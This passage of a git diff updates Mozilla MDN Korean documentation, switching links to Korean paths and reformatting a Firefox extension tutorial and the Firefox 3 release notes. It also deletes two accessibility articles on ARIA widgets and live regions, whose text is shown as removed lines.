 `browser.tabs.executeScript()`API호출이 실패하는 흔한 이유는 모든 웹페이지에 content scripts를 주입할 수 없기 때문입니다. 예를들어 about:debugging 같은 권한이 있는 페이지에서는 content scripts를 주입할 수 없고 [addons.mozilla.org](https://addons.mozilla.org/) 도 마찬가지입니다. 이처럼 실패할때는 `reportExecuteScriptError()`가 호출되어 `"popup-content"` `<div>` 를 숨기고 `"error-content"` `<div>`를 보여주고 [콘솔](https://extensionworkshop.com/documentation/develop/debugging/)에 에러를 로깅합니다.
 
@@ -322,12 +321,12 @@ content script 주입이 성공하면 `listenForClicks()`이 호출 된다. 이
 `beastify()` 함수는 다음의 3가지 기능을 합니다.
 
 - 클릭한 버튼을 동물의 이미지 URL로 매핑
-- [`browser.tabs.insertCSS()`](/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/insertCSS) API로 CSS를 주입하여 페이지의 전체를 숨깁니다.
-- 페이지를 동물 이미지로 변경하도록 짐승 이미지 URL을 전달 요청하기 위해 [`browser.tabs.sendMessage()`](/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/sendMessage) API로 "beastify"메시지를 content script에 보냅니다.
+- [`browser.tabs.insertCSS()`](/ko/docs/Mozilla/Add-ons/WebExtensions/API/tabs/insertCSS) API로 CSS를 주입하여 페이지의 전체를 숨깁니다.
+- 페이지를 동물 이미지로 변경하도록 짐승 이미지 URL을 전달 요청하기 위해 [`browser.tabs.sendMessage()`](/ko/docs/Mozilla/Add-ons/WebExtensions/API/tabs/sendMessage) API로 "beastify"메시지를 content script에 보냅니다.
 
 `reset()` 함수는 페이지가 동물 이미지로 변경된 것을 취소합니다.
 
-- [`browser.tabs.removeCSS()`](/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/removeCSS) API로 추가한 CSS를 제거합니다.
+- [`browser.tabs.removeCSS()`](/ko/docs/Mozilla/Add-ons/WebExtensions/API/tabs/removeCSS) API로 추가한 CSS를 제거합니다.
 - 페이지를 리셋하기 위해 content script에 "reset" 메시지를 보냅니다.
 
 ### The content script
@@ -335,7 +334,7 @@ content script 주입이 성공하면 `listenForClicks()`이 호출 된다. 이
 확장 기능의 루트에 "content_scripts"라는 디렉토리를 생성하고, "beastify.js" 파일을 아래 내용으로 작성합니다.
 
 ```js
-(function() {
+(function () {
   /**
    * Check and set a global guard variable.
    * If this content script is injected into the same page again,
@@ -373,7 +372,7 @@ content script 주입이 성공하면 `listenForClicks()`이 호출 된다. 이
   /**
    * Listen for messages from the background script.
    * Call "beastify()" or "reset()".
-  */
+   */
   browser.runtime.onMessage.addListener((message) => {
     if (message.command === "beastify") {
       insertBeast(message.beastURL);
@@ -381,13 +380,12 @@ content script 주입이 성공하면 `listenForClicks()`이 호출 된다. 이
       removeExistingBeasts();
     }
   });
-
 })();
 ```
 
 content script는 먼저 전역 변수 `window.hasRun`을 확인합니다. content script가 이미 실행되어 있다면 아무 작업도 하지 않고, 아직 주입되어 있지 않으면 `window.hasRun`를 true로 세팅한뒤 작업을 계속합니다. 이 작업을 하는 이유는, 팝업을 열 때마다 활성화된 탭에 content script를 실행하기 때문에 스크립트가 중복으로 실행되게 됩니다. 따라서 첫번째 팝업 오픈시에만 content script를 실행해야 합니다.
 
-그런 다음 40번째 라인에서 content script는 [`browser.runtime.onMessage`](/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) API로 팝업의 메시지를 받습니다. 위에서 봤던 팝업의 스크립트는 "beastify"와 "reset" 두 종류의 메시지를 보냅니다.
+그런 다음 40번째 라인에서 content script는 [`browser.runtime.onMessage`](/ko/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage) API로 팝업의 메시지를 받습니다. 위에서 봤던 팝업의 스크립트는 "beastify"와 "reset" 두 종류의 메시지를 보냅니다.
 
 - "beastify" 메시지를 받으면 메시지에 동물 이미지의 URL이 있다는 걸 예상할 수 있습니다. 이전의 "beastify" 메시지로 추가된 동물을 제거하고 \<img> 요소를 만들어서 src속성에 동물 이미지 URL을 세팅합니다.
 - "reset" 메시지를 받으면 추가된 모든 동물을 삭제합니다.
@@ -437,7 +435,7 @@ beastify/
 
 ## Developing from the command line
 
-아래처럼 [web-ext](/en-US/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext)툴을 이용해 설치할 수도 있습니다.
+아래처럼 [web-ext](/ko/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext)툴을 이용해 설치할 수도 있습니다.
 
 ```bash
 cd beastify
@@ -448,7 +446,7 @@ web-ext run
 
 이것으로 보다 발전된 Firefox용 확장 기능을 만들어 보았습니다.
 
-- [확장 기능의 구조에 대해 읽어보기](/en-US/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension)
-- [확장 기능 예제 살펴보기](/en-US/docs/Mozilla/Add-ons/WebExtensions/Examples)
-- [확장 기능을 개발하고, 테스트하고, 게시하는 데 필요한 것 찾아보기](/en-US/docs/Mozilla/Add-ons/WebExtensions/What_next_)
-- [더 공부하기](/en-US/docs/Mozilla/Add-ons/WebExtensions/What_next_#continue_your_learning_experience)
+- [확장 기능의 구조에 대해 읽어보기](/ko/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension)
+- [확장 기능 예제 살펴보기](/ko/docs/Mozilla/Add-ons/WebExtensions/Examples)
+- [확장 기능을 개발하고, 테스트하고, 게시하는 데 필요한 것 찾아보기](/ko/docs/Mozilla/Add-ons/WebExtensions/What_next_)
+- [더 공부하기](/ko/docs/Mozilla/Add-ons/WebExtensions/What_next_#continue_your_learning_experience)
diff --git a/files/ko/mozilla/firefox/index.md b/files/ko/mozilla/firefox/index.md
index 5eeb6c41295d26..e95598ad22ee0b 100644
--- a/files/ko/mozilla/firefox/index.md
+++ b/files/ko/mozilla/firefox/index.md
@@ -12,8 +12,8 @@ Firefox는 오픈소스 프로젝트이기 때문에 대부분의 코드가 커
 [Firefox](https://www.mozilla.org/firefox/)를 위한 애드온을 어떻게 만드는 지, 어떻게 파이어폭스를 스스로 빌드하고 개발하는 지, Firefox와 그 하위 프로젝트들이 어떻게 이루어 지는 지 알아보세요.
 
 - 개발자 릴리즈노트 [개발자를 위한 릴리즈 노트 읽기](/en-US/Firefox/Releases) 어떤 기능이나 애드온이 파이어폭스에 추가되었는지, 웹사이트에 대한 지원이 어떻게 바뀌었는지 알아보세요.
-- 프로젝트 문서 [Firefox의 내부 구성물](/en-US/docs/Mozilla)에서 더 자세한 정보를 알아보세요. 그 다음에는 빌드시스템에 대한 정보를 알아내어 코드를 어떻게 작성할 지 알아보세요.
-- 개발자 가이드 [개발자 가이드](/en-US/docs/Developer_Guide)는 어떻게 파이어폭스 소스코드를 얻고 컴파일 하는지에 대한 가이드를 제공합니다. 또한 이를 통해 어떻게 프로젝트에 기여하는 지 알 수 있습니다.
+- 프로젝트 문서 [Firefox의 내부 구성물](/ko/docs/Mozilla)에서 더 자세한 정보를 알아보세요. 그 다음에는 빌드시스템에 대한 정보를 알아내어 코드를 어떻게 작성할 지 알아보세요.
+- 개발자 가이드 [개발자 가이드](/ko/docs/Developer_Guide)는 어떻게 파이어폭스 소스코드를 얻고 컴파일 하는지에 대한 가이드를 제공합니다. 또한 이를 통해 어떻게 프로젝트에 기여하는 지 알 수 있습니다.
 
 ## Firefox 채널
 
diff --git a/files/ko/mozilla/firefox/releases/3/index.md b/files/ko/mozilla/firefox/releases/3/index.md
index 8aecd64e2d6936..a51210543b885b 100644
--- a/files/ko/mozilla/firefox/releases/3/index.md
+++ b/files/ko/mozilla/firefox/releases/3/index.md
@@ -12,45 +12,59 @@ If you're a developer trying to get a handle on all the new features in Firefox
 ### For web site and application developers
 
 - [Updating web applications for Firefox 3](/ko/docs/Mozilla/Firefox/Releases/3/Updating_web_applications)
+
   - : Provides information about changes you may need to make to your web site or web application to take advantage of new features in Firefox 3.
 
 - [Online and offline events](/ko/docs/Web/API/NavigatorOnLine/Online_and_offline_events)
+
   - : Firefox 3 supports WHATWG online and offline events, which let applications and extensions detect whether or not there's an active Internet connection, as well as to detect when the connection goes up and down.
 
 - [Web-based protocol handlers](/ko/docs/Web/API/Navigator/registerProtocolHandler/Web-based_protocol_handlers)
+
   - : You can now register web applications as protocol handlers using the `navigator.registerProtocolHandler()` method.
 
 - [Drawing text using a canvas](/ko/docs/Web/API/Canvas_API/Tutorial/Drawing_text)
+
   - : You can now draw text in a canvas using a non-standardized API supported by Firefox 3.
 
 - [Transform support for canvas](/ko/docs/Canvas_tutorial/Transformations#Transforms)
+
   - : Firefox now supports the `transform()` and `setTransform()` methods on canvases.
 
 - [Using microformats](/ko/docs/Using_microformats)
+
   - : Firefox now has APIs for working with microformats.
 
 - [Drag and drop events](/ko/docs/Drag_and_drop_events)
+
   - : Firefox 3 supports new events that are sent to the source node for a drag operation when the drag begins and ends.
 
 - [Focus management in HTML](/ko/docs/Web/API/Document/hasFocus)
+
   - : The new HTML 5 `activeElement` and `hasFocus` attributes are supported.
 
 - Offline resources in Firefox
+
   - : Firefox now lets web applications request that resources be cached to allow the application to be used while offline.
 
 - [CSS improvements in Firefox 3](/ko/docs/CSS_improvements_in_Firefox_3)
+
   - : Firefox 3 features a number of improvements in its CSS support.
 
 - [DOM improvements in Firefox 3](/ko/docs/Mozilla/Firefox/Releases/3/DOM_improvements)
+
   - : Firefox 3 offers a number of new features in Firefox 3's DOM implementation, including support for several Internet Explorer extensions to the DOM.
 
 - [JavaScript 1.8 support](/ko/docs/New_in_JavaScript_1.8)
+
   - : Firefox 3 offers JavaScript 1.8.
 
 - [EXSLT support](/ko/docs/Web/EXSLT)
+
   - : Firefox 3 provides support for a substantial subset of the [EXSLT](/ko/docs/Web/EXSLT) extensions to [XSLT](/ko/docs/Web/XSLT).
 
 - [SVG improvements in Firefox 3](/ko/docs/Mozilla/Firefox/Releases/3/SVG_improvements)
+
   - : SVG support in Firefox 3 has been upgraded significantly, with support for over two dozen new filters, several new elements and attributes, and other improvements.
 
 - [Animated PNG graphics](/ko/docs/Animated_PNG_graphics)
@@ -61,33 +75,43 @@ If you're a developer trying to get a handle on all the new features in Firefox
 #### Notable changes and improvements
 
 - [Updating extensions for Firefox 3](/ko/docs/Mozilla/Firefox/Releases/3/Updating_extensions)
+
   - : Provides a guide to the things you'll need to do to update your extension to work with Firefox 3.
 
 - [XUL improvements in Firefox 3](/ko/docs/XUL_improvements_in_Firefox_3)
+
   - : Firefox 3 offers a number of new XUL elements, including new sliding scales, the date and time pickers, and spin buttons.
 
 - [Templates in Firefox 3](/ko/docs/Templates_in_Firefox_3)
+
   - : Templates have been significantly improved in Firefox 3. The key improvement allows the use of custom query processors to allow data sources other than RDF to be used.
 
 - [Securing updates](/ko/docs/Extension_Versioning,_Update_and_Compatibility#Securing_Updates)
+
   - : In order to provide a more secure add-on upgrade path for users, add-ons are now required to provide a secure method for obtaining updates before they can be installed. Add-ons hosted at [AMO](https://addons.mozilla.org) automatically provide this. Any add-ons installed that do not provide a secure update method when the user upgrades to Firefox 3 will be automatically disabled. Firefox will however continue to check for updates to the extension over the insecure path and attempt to install any update offered (installation will fail if the update also fails to provide a secure update method).
 
 - [Places migration guide](/ko/docs/Places_Developer_Guide)
+
   - : An article about how to update an existing extension to use the Places API.
 
 - [Download Manager improvements in Firefox 3](/ko/docs/Download_Manager_improvements_in_Firefox_3)
+
   - : The Firefox 3 Download Manager features new and improved APIs, including support for multiple progress listeners.
 
 - Using nsILoginManager
+
   - : The Password Manager has been replaced by the new Login Manager.
 
 - [Embedding XBL bindings](/ko/docs/XBL/XBL_1.0_Reference/Elements#binding)
+
   - : You can now use the `data:` URL scheme from chrome code to embed XBL bindings directly instead of having them in separate XML files.
 
 - [Localizing extension descriptions](/ko/docs/Localizing_extension_descriptions)
+
   - : Firefox 3 offers a new method for localizing add-on metadata. This lets the localized details be available as soon as the add-on has been downloaded, as well as when the add-on is disabled.
 
 - [Localization and Plurals](/ko/docs/Localization_and_Plurals)
+
   - : Firefox 3 adds the new PluralForm module, which provides tools to aid in correctly pluralizing words in multiple localizations.
 
 - [Theme changes in Firefox 3](/ko/docs/Theme_changes_in_Firefox_3)
@@ -96,36 +120,47 @@ If you're a developer trying to get a handle on all the new features in Firefox
 #### New components and functionality
 
 - [FUEL Library](/ko/docs/Toolkit_API/FUEL)
+
   - : FUEL is about making it easier for extension developers to be productive, by minimizing some of the XPCOM formality and adding some "modern" JavaScript ideas.
 
 - [Places](/ko/docs/Places)
+
   - : The history and bookmarks APIs have been completely replaced by the new [Places](/ko/docs/Places) API.
 
 - [Idle service](/ko/docs/nsIIdleService)
+
   - : Firefox 3 offers the new `nsIIdleService` interface, which lets extensions determine how long it's been since the user last pressed a key or moved their mouse.
 
 - [ZIP writer](/ko/docs/nsIZipWriter)
+
   - : The new `nsIZipWriter` interface lets extensions create ZIP archives.
 
 - [Full page zoom](/ko/docs/Mozilla/Firefox/Releases/3/Full_page_zoom)
+
   - : Firefox 3 improves the user experience by offering full page zoom in addition to text-only zoom.
 
 - [Interfacing with the XPCOM cycle collector](/ko/docs/Interfacing_with_the_XPCOM_cycle_collector)
+
   - : XPCOM code can now take advantage of the cycle collector, which helps ensure that unused memory gets released instead of leaking.
 
 - [The Thread Manager](/ko/docs/The_Thread_Manager)
+
   - : Firefox 3 provides the new `nsIThreadManager` interface, along with new interfaces for threads and thread events, which provides a convenient way to create and manage threads in your code.
 
 - [JavaScript modules](/ko/docs/JavaScript_code_modules)
+
   - : Firefox 3 now offers a new shared code module mechanism that lets you easily create modules in JavaScript that can be loaded by extensions and applications for use, much like shared libraries.
 
 - [The `nsIJSON` interface](/ko/docs/nsIJSON)
+
   - : Firefox 3 offers the new `nsIJSON` interface, which offers high-performance encoding and decoding of [JSON](/ko/docs/Glossary/JSON) strings.
 
 - The `nsIParentalControlsService` interface
+
   - : Firefox 3 now supports the Microsoft Windows Vista parental controls feature, and allows code to interact with it.
 
 - [Using content preferences](/ko/docs/Using_content_preferences)
+
   - : Firefox 3 includes a new service for getting and setting arbitrary site-specific preferences that extensions as well as core code can use to keep track of their users' preferences for individual sites.
 
 - [Plug-in Monitoring](/ko/docs/Monitoring_plugins)
diff --git a/files/ko/mozilla/index.md b/files/ko/mozilla/index.md
index a0cbc4b9609e26..41a9d8e2b0bbd0 100644
--- a/files/ko/mozilla/index.md
+++ b/files/ko/mozilla/index.md
@@ -2,6 +2,7 @@
 title: Mozilla
 slug: Mozilla
 ---
+
 아래 목록에는 모질라 코드를 다운로드, 빌드하는 방법 뿐 아니라, 어떻게 코드가 동작하는지, 모질라 애플리케이션의 애드-온을 어떻게 빌드하는지 등이 포함되어있습니다.
 
 {{LandingPageListSubpages}}
diff --git a/files/ko/orphaned/web/svg/element/altglyph/index.md b/files/ko/orphaned/web/svg/element/altglyph/index.md
index 8726ee8b2bd620..14aec7351c44f7 100644
--- a/files/ko/orphaned/web/svg/element/altglyph/index.md
+++ b/files/ko/orphaned/web/svg/element/altglyph/index.md
@@ -38,7 +38,7 @@ original_slug: Web/SVG/Element/altGlyph
 
 ## DOM 인터페이스
 
-이 엘리먼트는 [`SVGAltGlyphElement`](/en-US/docs/Web/API/SVGAltGlyphElement) 인터페이스를 구현한다..
+이 엘리먼트는 [`SVGAltGlyphElement`](/ko/docs/Web/API/SVGAltGlyphElement) 인터페이스를 구현한다..
 
 ## 명세서
 
diff --git a/files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.md b/files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.md
deleted file mode 100644
index b61ec6761a9907..00000000000000
--- a/files/ko/web/accessibility/an_overview_of_accessible_web_applications_and_widgets/index.md
+++ /dev/null
@@ -1,227 +0,0 @@
----
-title: 웹 접근성 애플리케이션과 위젯 개요
-slug: Web/Accessibility/An_overview_of_accessible_web_applications_and_widgets
----
-웹은 변화하고 있습니다. 페이지 중심의 정적이던 사이트들은 동적으로 변화하고 있고, 데스크톱 웹 어플리케이션들이 JS와 AJAX를 중점으로 사용하며 제작되고 있습니다. 디자이너들은 새로운 위젯들과 컨트롤을 한결같이 JavaScript, HTML, CSS를 조합해서 만들고 있습니다. 이런 변화는 사용성과 반응형 향상에는 극적으로 도움을 주지만, 또 다른 많은 유저들은 접근성 격차로 인해 제약이 발생하는 리스크도 안고 있습니다. JavaScript는 스크린리더 같은 보조기술을 사용하는 유저들이 접근하기 힘들다고 알려져 있었습니다. 하지만 현재는 다양한 사용자가 접근할 수 있는 동적 웹 어플리케이션을 만들 수 있습니다.
-
-## 문제
-
-대부분의 자바스크립트 개발도구는 데스크톱 인터페이스의 동작을 유사하게 만들 수 있도록 클라이언트-사이드 위젯 라이브러리를 제공하고 있습니다. Slider, Menu bar, Filelist View 등을 JavaScript, CSS, HTML을 이용해서 만들 수 있습니다. HTML4 명세가 나왔을 때는 HTML 태그에서 이런 위젯들의 설명이 제공되지 않았으며, 개발자들은 보통 \<div>나 \<span>같은 것들을 활용하여 개발하였습니다. 이런 시대의 결과로 데스크톱 위젯들은 충분한 정보를 제공하지 못하였으며 이는 기술적으로 전혀 도움이 되지 않았습니다. 동적 콘텐츠는 이유가 어떻든 스크린을 보지 못하는 사람에게 문제가 되었습니다. 주식 시세 표시 위젯, 트위터 라이브 피드 갱신, 프로그레스바 같은 것들을 보조공학기술(AT)로 인식하지 못하는 경우가 많았습니다. [ARIA](/en/ARIA)가 필요한 이유가 여기에 있습니다.
-
-Example 1: 탭 위젯을 ARIA 레이블링 없이 만든 마크업. 마크업에서 위젯의 폼과 동작에 대해 설명하고 있지 않습니다.
-
-```html
-<!-- 탭 위젯을 위한 코드입니다. 어떻습니까? 마크업만 보고서 가늠이 되나요? -->
-<ol>
-  <li id="ch1Tab">
-    <a href="#ch1Panel">Chapter 1</a>
-  </li>
-  <li id="ch2Tab">
-    <a href="#ch2Panel">Chapter 2</a>
-  </li>
-  <li id="quizTab">
-    <a href="#quizPanel">Quiz</a>
-  </li>
-</ol>
-
-<div>
-  <div id="ch1Panel">Chapter 1 content goes here</div>
-  <div id="ch2Panel">Chapter 2 content goes here</div>
-  <div id="quizPanel">Quiz content goes here</div>
-</div>
-```
-
-Example 2: 탭 위젯의 렌더링 화면. 유저는 비주얼로 확인 가능하지만, 보조기술과 같은 기계들은 읽지 못합니다. ![Screenshot of the tabs widget](tabs_widget.png)
-
-## ARIA
-
-**Accessible Rich Internet Applications(**[WAI-ARIA](https://www.w3.org/WAI/intro/aria.php))는 W3C의 [Web Accessibility Initiative](https://www.w3.org/WAI/)에서 제작하고, 스크린리더 같은 보조기기에서 필요한 정보들을 추가하는 방법을 제공합니다. ARIA는 마크업에서 특별한 속성을 추가하여 개발자들이 위젯의 디테일한 정보를 제공할 때 사용합니다. 동적 웹 어플리케이션에서 찾을 수 있는 데스크톱 스타일 콘트롤과 표준 HTML 태그 사이에 있는 차이를 채우기 위해, ARIA는 친숙한 UI 위젯의 동작 상태(state)와 역할(Role)에 대한 설명을 제공합니다.
-
-ARIA는 다른 타입의 속성 세개 roles, states, properties를 분할하여 정의하고 있습니다. Roles는 slider, menu bar, dialog와 같은 HTML4에서 사용하지 못하는 위젯을 설명합니다. Properties는 드래그가 가능하다는 것이나, 요소가 필요하다는 것이나, 팝업이 뜨는 것과 같은 위젯의 특징에 대해 설명합니다. State는 요소의 현재 상태에 대해 설명합니다. 이 정보는 보조기기에서 요소의 접근이 불가하거나, 숨겨져 있는 상태라는 것을 명시합니다.
-
-ARIA attributes are designed to be interpreted automatically by the browser and translated to the operating system's native accessibility APIs. When ARIA is present, assistive technologies are able to recognize and interact with custom JavaScript controls in the same way that they do with desktop equivalents. This has the potential for providing a much more consistent user experience than was possible in the previous generation of web applications, since assistive technology users can apply all of their knowledge of how desktop applications work when they are using web-based applications.
-
-Example 3: Markup for the tabs widget with ARIA attributes added.
-
-```html
-<!-- Now *these* are Tabs! -->
-<!-- We've added role attributes to describe the tab list and each tab. -->
-<ol role="tablist">
-  <li id="ch1Tab" role="tab">
-    <a href="#ch1Panel">Chapter 1</a>
-  </li>
-  <li id="ch2Tab" role="tab">
-    <a href="#ch2Panel">Chapter 2</a>
-  </li>
-  <li id="quizTab" role="tab">
-    <a href="#quizPanel">Quiz</a>
-  </li>
-</ol>
-
-<div>
-  <!-- Notice the role and aria-labelledby attributes we've added to describe these panels. -->
-  <div id="ch1Panel" role=”tabpanel” aria-labelledby="ch1Tab">Chapter 1 content goes here</div>
-  <div id="ch2Panel" role=”tabpanel” aria-labelledby="ch2Tab">Chapter 2 content goes here</div>
-  <div id="quizPanel" role=”tabpanel” aria-labelledby="quizTab">Quiz content goes here</div>
-</div>
-```
-
-ARIA는 Firefox, Safari, Opera, Chrome 및 Internet Explorer를 포함한 모든 주요 브라우저의 최신 버전에서 지원됩니다. 오픈 소스 NVDA(NonVisual Desktop Access) 및 Orca 스크린 리더와 같은 많은 보조 기술도 ARIA를 지원합니다. 점차적으로 jQuery UI, YUI, Google Closure, Dojo Dijit과 같은 JavaScript 위젯 라이브러리에 ARIA 마크 업도 포함됩니다.
-
-### Presentational changes
-
-Dynamic presentational changes include using CSS to change the appearance of content (such as a red border around invalid data, or changing the background colour of a checked checkbox), as well as showing or hiding content.
-
-#### State changes
-
-ARIA provides attributes for declaring the current state of a UI widget. Examples include (but are certainly not limited to):
-
-- `aria-checked`
-  - : indicates the state of a checkbox or radio button
-- `aria-disabled`
-  - : indicates that an element is visible, but not editable or otherwise operable
-- `aria-grabbed`
-  - : indicates the 'grabbed' state of an object in a drag-and-drop operation
-
-(For a full list of ARIA states, consult the [ARIA list of states and properties](https://www.w3.org/TR/wai-aria/states_and_properties).)
-
-Developers should use ARIA states to indicate the state of UI widget elements and use CSS attribute selectors to alter the visual appearance based on the state changes (rather than using script to change a class name on the element).
-
-The Open Ajax Alliance website provides an example of CSS attribute selectors based on ARIA states. The example shows a WYSIWYG editor interface with a dynamic menu system. Items currently selected in a menu, such as the font face, are visually distinguished from other items. The relevant parts of the example are explained below.
-
-In this example, the HTML for a menu has the form shown in Example 1a. Note how, on lines 7 and 13, the **aria-checked** property is used to declare the selection state of the menu items.
-
-Example 1a. HTML for a selectable menu.
-
-```html
- <ul id="fontMenu" class="menu" role="menu" aria-hidden="true">
-  <li id="sans-serif"
-      class="menu-item"
-      role="menuitemradio"
-      tabindex="-1"
-      aria-controls="st1"
-      aria-checked="true">Sans-serif</li>
-  <li id="serif"
-      class="menu-item"
-      role="menuitemradio"
-      tabindex="-1"
-      aria-controls="st1"
-      aria-checked="false">Serif</li>
-  ...
-```
-
-The CSS that is used to alter the visual appearance of the selected item is shown in Example 1b. Note that there is no custom classname used, only the status of the **aria-checked** attribute on line 1.
-
-Example 1b. Attribute-based selector for indicating state.
-
-```css
-li[aria-checked="true"] {
-  font-weight: bold;
-  background-image: url('images/dot.png');
-  background-repeat: no-repeat;
-  background-position: 5px 10px;
-}
-```
-
-The JavaScript to update the **aria-checked** property has the form shown in Example 1c. Note that the script only updates the **aria-checked** attribute (lines 3 and 8); it does not need to also add or remove a custom classname.
-
-Example 1c. JavaScript to update the aria-checked attribute
-
-```js
-var processMenuChoice = function(item) {
-  // 'check' the selected item
-  item.setAttribute('aria-checked', 'true');
-  // 'un-check' the other menu items
-  var sib = item.parentNode.firstChild;
-  for (; sib; sib = sib.nextSibling ) {
-    if ( sib.nodeType === 1 &#x26;&#x26; sib !== item ) {
-      sib.setAttribute('aria-checked', 'false');
-    }
-  }
-};
-```
-
-#### Visibility changes
-
-When content visibility is changed (i.e. an element is hidden or shown), developers should change the **aria-hidden** property value. The techniques described above should be used to declare CSS to visually hide an element using `display:none`.
-
-The Open Ajax Alliance website provides an example of a tooltip that uses **aria-hidden** to control the visibility of the tooltip. The example shows a simple web form with tooltips containing instructions associated with the entry fields. The relevant parts of the example are explained below.
-
-In this example, the HTML for the tooltip has the form shown in Example 2a. Line 9 sets the **aria-hidden** state to `true`.
-
-Example 2a. HTML for a tooltip.
-
-```html
-<div class="text">
-    <label id="tp1-label" for="first">First Name:</label>
-    <input type="text" id="first" name="first" size="20"
-           aria-labelledby="tp1-label"
-           aria-describedby="tp1"
-           aria-required="false" />
-    <div id="tp1" class="tooltip"
-         role="tooltip"
-         aria-hidden="true">Your first name is a optional</div>
-</div>
-```
-
-The CSS for this markup is shown in Example 2b. Note that there is no custom classname used, only the status of the **aria-hidden** attribute on line 1.
-
-Example 2b. Attribute-based selector for indicating state.
-
-```css
-div.tooltip[aria-hidden="true"] {
-  display: none;
-}
-```
-
-The JavaScript to update the **aria-hidden** property has the form shown in Example 2c. Note that the script only updates the **aria-hidden** attribute (line 2); it does not need to also add or remove a custom classname.
-
-Example 2c. JavaScript to update the aria-checked attribute
-
-```js
-var showTip = function(el) {
-  el.setAttribute('aria-hidden', 'false');
-}
-```
-
-### Role changes
-
-> **참고:** Under construction
-
-ARIA allows developers to declare a semantic role for an element that otherwise offers incorrect or no semantics. For example, when an unordered list is used to create a menu, the {{ HTMLElement("ul") }} should be given a **role** of `menubar` and each {{ HTMLElement("li") }} should be given a **role** of `menuitem`.
-
-The **role** of an element should not change. Instead, remove the original element and replace it with an element with the new **role**.
-
-For example, consider an "inline edit" widget: a component that allows users to edit a piece of text in place, without switching contexts. This component has a "view" mode, in which the text is not editable, but is activatable, and an "edit" mode, in which the text can be edited. A developer might be tempted to implement the "view" mode using a read-only text {{ HTMLElement("input") }} element and setting its ARIA **role** to `button`, then switching to "edit" mode by making the element writable and removing the **role** attribute in "edit" mode (since {{ HTMLElement("input") }} elements have their own role semantics).
-
-Do not do this. Instead, implement the "view" mode using a different element altogether, such as a {{ HTMLElement("div") }} or {{ HTMLElement("span") }} with a **role** of `button`, and the "edit" mode using a text {{ HTMLElement("input") }} element.
-
-### Asynchronous content changes
-
-> **참고:** Under construction. See also [Live Regions](/ko/ARIA/Live_Regions)
-
-## Keyboard navigation
-
-Often times developers overlook support for the keyboard when they create custom widgets. To be accessible to a variety of users, all features of a web application or widget should also be controllable with the keyboard, without requiring a mouse. In practice, this usually involves following the conventions supported by similar widgets on the desktop, taking full advantage of the Tab, Enter, Spacebar, and arrow keys.
-
-Traditionally, keyboard navigation on the web has been limited to the Tab key. A user presses Tab to focus each link, button, or form on the page in a linear order, using Shift-Tab to navigate backwards. It's a one-dimensional form of navigation—forward and back, one element at a time. On fairly dense pages, a keyboard-only user often has to press the Tab key dozens of times before they can access the section they need. Implementing desktop-style keyboard conventions on the web has the potential to significantly speed up navigation for many users.
-
-Here's a summary of how keyboard navigation should work in an ARIA-enabled web application:
-
-- The Tab key should provide focus to the widget as a whole. For example, tabbing to a menu bar should put focus on the menu's first elem
-- The arrow keys should allow for selection or navigation within the widget. For example, using the left and right arrow keys should move focus to the previous and next menu items
-- When the widget is not inside a form, both the Enter and Spacebar keys should select or activate the control
-- Within a form, the Spacebar key should select or activate the control, while the Enter key should submit the form's default action.
-- If in doubt, mimic the standard desktop behavior of the control you are creating.
-
-So, for the Tabs widget example above, the user should be able to navigate into and out of the widget's container (the `<ol>` in our markup) using the Tab and Shift-Tab keys. Once keyboard focus is inside the container, the arrow keys should allow the user to navigate between each tab (the `<li>` elements). From here, conventions vary from platform to platform. On Windows, the next tab should automatically be activated when the user presses the arrow keys. On Mac OS X, the user can press either Enter or the Spacebar to activate the next tab. An in-depth tutorial for creating [Keyboard-navigable JavaScript widgets](/en/Accessibility/Keyboard-navigable_JavaScript_widgets) describes how to implement this behavior with JavaScript.
-
-For more detail about desktop-style keyboard navigation conventions, a comprehensive [DHTML style guide](https://dev.aol.com/dhtml_style_guide) is available. It provides an overview of how keyboard navigation should work for each type of widget supported by ARIA. The W3C also offers a helpful [ARIA Best Practices](https://www.w3.org/WAI/PF/aria-practices/Overview.html) document that includes keyboard navigation and shortcut conventions for a variety of widgets.
-
-## See also
-
-- [ARIA](/en/ARIA)
-- [Web applications and ARIA FAQ](/en/Accessibility/Web_applications_and_ARIA_FAQ)
-- [WAI-ARIA Specification](https://www.w3.org/TR/wai-aria/)
-- [WAI-ARIA Best Practices](https://www.w3.org/WAI/PF/aria-practices/Overview.html)
-- [DHTML Style Guide](https://dev.aol.com/dhtml_style_guide)
diff --git a/files/ko/web/accessibility/aria/aria_live_regions/index.md b/files/ko/web/accessibility/aria/aria_live_regions/index.md
deleted file mode 100644
index 5fd776ad292a7b..00000000000000
--- a/files/ko/web/accessibility/aria/aria_live_regions/index.md
+++ /dev/null
@@ -1,215 +0,0 @@
----
-title: ARIA live regions
-slug: Web/Accessibility/ARIA/ARIA_Live_Regions
----
-
-JavaScript를 이용하면, 전체 페이지를 다시 로드할 필요 없이 페이지의 일부를 동적으로 변경하는 것이 가능합니다. 예를 들면, 검색 결과 리스트를 즉시 업데이트 하거나, 사용자 상호 작용이 필요 없는 경고 또는 알림을 표시합니다. 이러한 변경사항들은 일반적으로 페이지를 볼 수 있는 사용자에게 시각적으로 분명하게 보이지만, 보조과학기술 사용자들에겐 분명하지 않을 수 있습니다. ARIA live regions은 이 간격을 메우고, 보조과학기술에 의해 발표될 수 있는 방식으로 동적 컨텐츠 변화들을 프로그래밍 방식으로 노출할 수 있는 방법을 제공합니다.
-
-> **참고:** **Note**: 보조과학기술은 live region 컨텐츠에 _동적인_ 변화를 발표할 것입니다. Including an `aria-live` attribute or a specialized live region `role` (such as `role="alert"`) on the element you want to announce changes to works as long as you add the attribute before the changes occur — either in the original markup, or dynamically using JavaScript.
-
-## 간단한 live regions
-
-페이지를 재로드 없이 업데이트 되는 동적 컨텐츠는 일반적으로 영역 또는 위젯입니다. 대화형 컨텐츠가 아닌 단순 컨텐츠 변경은 live regions 으로 표시해야만 합니다. 아래는 관련 ARIA live region 속성에 관한 리스트와 설명입니다.
-
